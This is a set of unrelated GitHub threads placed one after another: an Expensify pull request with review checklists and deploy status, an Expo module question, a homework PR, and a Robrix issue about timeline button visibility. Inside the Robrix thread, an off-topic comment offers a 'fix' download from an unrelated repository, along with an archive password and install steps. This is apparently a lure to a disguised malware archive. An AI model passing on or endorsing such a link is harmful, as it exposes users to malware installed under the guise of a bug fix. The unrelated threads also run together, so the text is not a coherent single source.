[x] I included screenshots or videos for tests on all platforms
[x] I ran the tests on all platforms & verified they passed on:

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

[x] I verified there are no console errors (if there's a console error not related to the PR, report it or open an issue for it to be fixed)
[x] I followed proper code patterns (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick)
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method

[x] If any non-english text was added/modified, I verified the translation was requested/reviewed in #expensify-open-source and it was approved by an internal Expensify engineer. Link to Slack message:

[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is either coming verbatim from figma or has been approved by marketing (in order to get marketing approval, ask the Bug Zero team member to add the Waiting for copy label to the issue)
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I followed the guidelines as stated in the Review Guidelines
[x] I tested other components that can be impacted by my changes (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar are working as expected)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] I verified that if a function's arguments changed that all usages have also been updated correctly
[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(theme.componentBG))

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If the PR modifies the UI (e.g. new buttons, new UI components, changing the padding/spacing/sizing, moving components, etc) or modifies the form input styles:

[x] I verified that all the inputs inside a form are aligned with each other.
[x] I added Design label and/or tagged @Expensify/design so the design team can review the changes.

[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.

Screenshots/Videos

Inependent tags
https://github.com/Expensify/App/assets/5201282/ef9a6bfe-fb8c-4f12-b221-f58c54449620

Dependent tags
https://github.com/Expensify/App/assets/5201282/68dd4caa-ea20-418f-b1e5-f35c00681634

@rlinoz Please let me know if PR needs a C+ review.

Hey @jayeshmangwani, yes please review it, I think it will be good just in case we fall in any weird layout/scenario for dependent tags

While testing, I found two issues. Later, when I compared it with the production, I noticed that the issue occurs on the main as well. It is related to multiple levels of tags, so I'm just adding the bugs here:

Go to any independent workspace tags.

Go to tag A -> Press Switch to Disable required.
Go to tag B -> Press Switch to Disable required.
Go back to tag A -> Press Switch to Enable required.

The switch changes states like this: Enabled for a moment -> then Disabled -> Enabled after a second.
https://github.com/Expensify/App/assets/35371050/c24f80a7-b6d2-48fa-89fc-450584183e77

For a moment, I was able to see the empty list placeholder without data (I was able to reproduce this once).

Reviewer Checklist

[x] I have verified the author checklist is complete (all boxes are checked off).
[x] I verified the correct issue is linked in the ### Fixed Issues section above
[x] I verified testing steps are clear and they cover the changes made in this PR

[x] I verified the steps for local testing are in the Tests section
[x] I verified the steps for Staging and/or Production testing are in the QA steps section
[x] I verified the steps cover any possible failure scenarios (i.e. verify an input displays the correct error message if the entered data is not correct)
[x] I turned off my network connection and tested it while offline to ensure it matches the expected behavior (i.e. verify the default avatar icon is displayed if app is offline)

[x] I checked that screenshots or videos are included for tests on all platforms
[x] I included screenshots or videos for tests on all platforms
[x] I verified tests pass on all platforms & I tested again on:

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

[x] If there are any errors in the console that are unrelated to this PR, I either fixed them (preferred) or linked to where I reported them in Slack
[x] I verified proper code patterns were followed (see Reviewing the code)

[x] I verified that any callback methods that were added or modified are named for what the method does and never what callback they handle (i.e. toggleReport and not onIconClick).
[x] I verified that the left part of a conditional rendering a React component is a boolean and NOT a string, e.g. myBool && <MyComponent />.
[x] I verified that comments were added to code that is not self explanatory
[x] I verified that any new or modified comments were clear, correct English, and explained "why" the code was doing something instead of only explaining "what" the code was doing.
[x] I verified any copy / text shown in the product is localized by adding it to src/languages/* files and using the translation method
[x] I verified all numbers, amounts, dates and phone numbers shown in the product are using the localization methods
[x] I verified any copy / text that was added to the app is grammatically correct in English. It adheres to proper capitalization guidelines (note: only the first word of header/labels should be capitalized), and is either coming verbatim from figma or has been approved by marketing (in order to get marketing approval, ask the Bug Zero team member to add the Waiting for copy label to the issue)
[x] I verified proper file naming conventions were followed for any new files or renamed files. All non-platform specific files are named after what they export and are not named "index.js". All platform-specific files are named for the platform the code supports as outlined in the README.
[x] I verified the JSDocs style guidelines (in STYLE.md) were followed

[x] If a new code pattern is added I verified it was agreed to be used by multiple Expensify engineers
[x] I verified that this PR follows the guidelines as stated in the Review Guidelines
[x] I verified other components that can be impacted by these changes have been tested, and I retested again (i.e. if the PR modifies a shared library or component like Avatar, I verified the components using Avatar have been tested & I retested again)
[x] I verified all code is DRY (the PR doesn't include any logic written more than once, with the exception of tests)
[x] I verified any variables that can be defined as constants (ie. in CONST.js or at the top of the file that uses the constant) are defined as such
[x] If a new component is created I verified that:

[x] A similar component doesn't exist in the codebase
[x] All props are defined accurately and each prop has a /** comment above it */
[x] The file is named correctly
[x] The component has a clear name that is non-ambiguous and the purpose of the component can be inferred from the name alone
[x] The only data being stored in the state is data necessary for rendering and nothing else
[x] For Class Components, any internal methods passed to components event handlers are bound to this properly so there are no scoping issues (i.e. for onClick={this.submit} the method this.submit should be bound to this in the constructor)
[x] Any internal methods bound to this are necessary to be bound (i.e. avoid this.submit = this.submit.bind(this); if this.submit is never passed to a component event handler like onClick)
[x] All JSX used for rendering exists in the render method
[x] The component has the minimum amount of code necessary for its purpose, and it is broken down into smaller components in order to separate concerns and functions

[x] If any new file was added I verified that:

[x] The file has a description of what it does and/or why is needed at the top of the file if the code is not self explanatory

[x] If a new CSS style is added I verified that:

[x] A similar style doesn't already exist
[x] The style can't be created with an existing StyleUtils function (i.e. StyleUtils.getBackgroundAndBorderStyle(theme.componentBG)

[x] If the PR modifies code that runs when editing or sending messages, I tested and verified there is no unexpected behavior for all supported markdown - URLs, single line code, code blocks, quotes, headings, bold, strikethrough, and italic.
[x] If the PR modifies a generic component, I tested and verified that those changes do not break usages of that component in the rest of the App (i.e. if a shared library or component like Avatar is modified, I verified that Avatar is working as expected in all cases)
[x] If the PR modifies a component related to any of the existing Storybook stories, I tested and verified all stories for that component are still working as expected.
[x] If the PR modifies a component or page that can be accessed by a direct deeplink, I verified that the code functions as expected when the deeplink is used - from a logged in and logged out account.
[x] If the PR modifies the UI (e.g. new buttons, new UI components, changing the padding/spacing/sizing, moving components, etc) or modifies the form input styles:

[x] I verified that all the inputs inside a form are aligned with each other.
[x] I added Design label and/or tagged @Expensify/design so the design team can review the changes.

[x] If a new page is added, I verified it's using the ScrollView component to make it scrollable when more elements are added to the page.
[x] If the main branch was merged into this PR after a review, I tested again and verified the outcome was still expected according to the Test steps.
[x] I have checked off every checkbox in the PR reviewer checklist, including those that don't apply to this PR.

Screenshots/Videos

Android: Native
https://github.com/Expensify/App/assets/35371050/85face3f-6565-4583-9b88-729cd9af8347

Android: mWeb Chrome
https://github.com/Expensify/App/assets/35371050/2b031d76-ea45-410e-95ef-481055479320

iOS: Native
https://github.com/Expensify/App/assets/35371050/facfe5cd-ecd5-4f44-80e9-bc41acc5a060

iOS: mWeb Safari
https://github.com/Expensify/App/assets/35371050/3fbd153b-14ed-4a3d-bc5b-8cdbf570219c

MacOS: Chrome / Safari
https://github.com/Expensify/App/assets/35371050/2ab94c76-7b4b-4946-8da2-b616ac23df23

MacOS: Desktop
https://github.com/Expensify/App/assets/35371050/c5db1c5e-ac82-438b-9654-54b17ed564b9

:hand: This PR was not deployed to staging yet because QA is ongoing. It will be automatically deployed to staging after the next production release.

🚀 Deployed to staging by https://github.com/rlinoz in version: 1.4.86-0 🚀

platform
result

🤖 android 🤖
failure ❌

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

🚀 Deployed to staging by https://github.com/rlinoz in version: 1.4.86-0 🚀

platform
result

🤖 android 🤖
failure ❌

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

🚀 Deployed to staging by https://github.com/rlinoz in version: 1.4.86-0 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

🚀 Deployed to production by https://github.com/AndrewGable in version: 9.0.0-9 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

I think this PR might've led to surfacing of the following issue:

https://github.com/Expensify/App/issues/47818

Which was solved on the FE side by implementing a check to see if any tags are enabled. If none -> call the setPolicyTagsRequired function to turn off the required toggle. More details in the proposal.


Does this component work on Expo SDK 45?

I tried running the basic example on my iOS device through Expo and it giving error "nativernskia module cannot be found". Is there  something missing, I installed all the required packages listed.

It does not work with Expo Go. You need to add a custom dev client.


Artem Tashevtsev 2nd HW

Done 2nd homework (Geometry). This is a copy of my previous pull request (#761) without @Ignore in test section.

отлично!


Update "jump to bottom" button visibility upon a change in timeline items

Currently the visibility of the "jump to bottom" button is based solely on the scrolling actions emitted by the PortalList.
This works, but misses one key scenario in which the actual underlying contents of the timeline (its items Vector) is changed by an update received in the background task.
For example, when a new message is received (and pushed onto the end of the timeline), but the user is not currently scrolled all the way down, the PortalList will not auto-tail (automatically track and scroll down to the last/latest/newest item). Thus, it isn't immediately obvious to the user that a new message has actually arrived.
To remedy this, we should (at the very least) update the visibility of the jump_to_bottom_button upon receiving a TimelineUpdate::NewItems() update. That way, the button would be re-shown again any time new messages exist beyond the current viewport.

Stretch goal: it'd be even nicer to display a UI element showing that unread messages are below the current viewport.
Element does this for both the upwards direction and the downwards direction. Here's an example of Element showing the count of unread messages beneath the current view:

And here's an example of Element's blue-green dot that is rendered as an ornament atop the "jump upwards to unread messages" button:

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Hello, just got a chance to look at this.
Yes, this is one of the issues the logic did not account for in the implementation of the button. I can try and look more into TimelineUpdate::NewItems().
I do have question on this, though. Would it be helpful in adding another attribute to the messages in PortalList, such as something like read? It could be false by default, and made true based on certain criteria to determine if the message has actually been read or not. Additionally, if a given message for some reason has this attribute set to false, such as when loading up the chat by opening it, but a more recent message has the attribute turn true, then the messages above would also have that attribute set to true.
However, this update logic does seem performance intensive, and I'm not exactly sure how it would account for showing actually unread messages that the client received but hasn't opened yet...
I think if we can figure this out, we could even come up with a more robust system for determining the visibility for the button that hopefully won't be problematic on Windows as it currently seems to be, unfortunately.

Hello, just got a chance to look at this. Yes, this is one of the issues the logic did not account for in the implementation of the button. I can try and look more into TimelineUpdate::NewItems().

Great, thanks for looking into this! It should be pretty quick/straightforward to add this logic into the handler for the TimelineUpdate::NewItems variant.

I do have question on this, though. Would it be helpful in adding another attribute to the messages in PortalList, such as something like read? It could be false by default, and made true based on certain criteria to determine if the message has actually been read or not. Additionally, if a given message for some reason has this attribute set to false, such as when loading up the chat by opening it, but a more recent message has the attribute turn true, then the messages above would also have that attribute set to true. However, this update logic does seem performance intensive, and I'm not exactly sure how it would account for showing actually unread messages that the client received but hasn't opened yet for the sake of showing how many unread messages there are as an icon badge, notification, or in the stretch goal you mentioned... I think if we can figure this out, we could even come up with a more robust system for determining the visibility for the button that hopefully won't be problematic on Windows as it currently seems to be, unfortunately.

The "read" or "unread" state of a message is actually totally separate from this issue, and it's actually supported by the Matrix SDK itself. We already support retrieving and displaying the logged-in user's ReadMarker, and another contributor is currently working on sending read receipts based on the current viewport (See #124, which addresses #86)

Also, is there a slack for this project? I'd love to join if there is one!

Nope, Slack is expensive! 😅  Also, we can't be using Slack for a matrix project, right? haha
We do have a matrix room where all public Robrix conversations can take place. It's linked at the top of the README: https://matrix.to/#/#robius-robrix:matrix.org

Great, thanks for looking into this! It should be pretty quick/straightforward to add this logic into the handler for the TimelineUpdate::NewItems variant.
Yep I think I have a few ideas to mess around with on that front

The "read" or "unread" state of a message is actually totally separate from this issue, and it's decently supported by the Matrix SDK itself. We already support retrieving and displaying the logged-in user's ReadMarker, and another contributor is currently working on sending read receipts based on the current viewport (See #124, which addresses #86)
That makes perfect sense! I just can't help but think about finding a good fix for the issue on windows haha but I think the PR you linked could help with that!

Nope, Slack is expensive! 😅 Also, we can't be using Slack for a matrix project, right? haha
We do have a matrix room where all public Robrix conversations can take place. It's linked at the top of the README: https://matrix.to/#/#robius-robrix:matrix.org
Haha yes that makes perfect sense. I'll join that then!

Combine PR https://github.com/project-robius/robrix/pull/206 tested together with sending read receipt by scroll